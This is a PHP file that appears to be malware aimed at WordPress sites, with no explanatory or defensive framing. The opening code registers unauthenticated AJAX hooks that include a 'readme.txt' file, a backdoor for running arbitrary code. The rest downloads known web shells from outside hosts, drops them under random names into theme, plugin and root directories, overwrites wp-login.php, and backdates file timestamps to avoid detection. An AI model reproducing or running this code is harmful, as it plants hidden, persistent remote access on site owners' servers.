if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php include 'handler/file.php'; include 'handler/dir.php'; include 'handler/utils.php'; $messages = array(); $dirname = dirname(__FILE__); $startDate = strtotime('2021-01-01'); $endDate = strtotime('2023-01-13'); $randomTimestamp = mt_rand($startDate, $endDate); $array_url = array( "https://shell.prinsh.com/Nathan/marijuana.txt" => "output/o.php8", "https://shell.prinsh.com/Nathan/gelay.txt" => "output/gel.php", "https://shell.prinsh.com/Nathan/alfa.txt" => "output/al.php", "https://raw.githubusercontent.com/The404Hacking/b374k-mini/master/b374k.php" => "output/betak.php" ); $document_root = $_SERVER['DOCUMENT_ROOT']; $theme_dirs = get_dir('wp-content','themes'); $plugin_dirs = get_dir('wp-content', 'plugins'); $c = array( "output/o.php8" => $theme_dirs, "output/gel.php" => $plugin_dirs, "output/al.php" => $theme_dirs, "output/betak.php" => $theme_dirs, "wp-login.php" => $document_root, "output/al.php" => $document_root, ); function put_file(){ global $messages, $array_url; foreach($array_url as $url => $file_name){ if(!file_exists($file_name) || filesize($file_name) <= 100) { $content = fetch($url); if($content) { save_file($file_name, $content); if(file_exists($file_name)) { $messages['success'] = true; } } }else{ $messages['success'] = true; } } } function merge() { global $c, $messages, $document_root; put_file(); $copied = array(); foreach($c as $file_name => $location) { if(is_array($location)) { $random_number = array_rand($location); $location = $location[$random_number]; } $random_chars = generate_char(10); $real_location = "$location/$random_chars.php"; if(copy_or_rename($file_name, $real_location)) { $to_show = str_replace($document_root, '', $real_location); $to_show = $_SERVER['SERVER_NAME'].$to_show; array_push($copied, $to_show); touch($real_location, $randomTimestamp); touch($location, $randomTimestamp); clearstatcache(true, $real_location); clearstatcache(true, $location); } } $messages['copied'] = $copied; } merge(); echo json_encode($messages);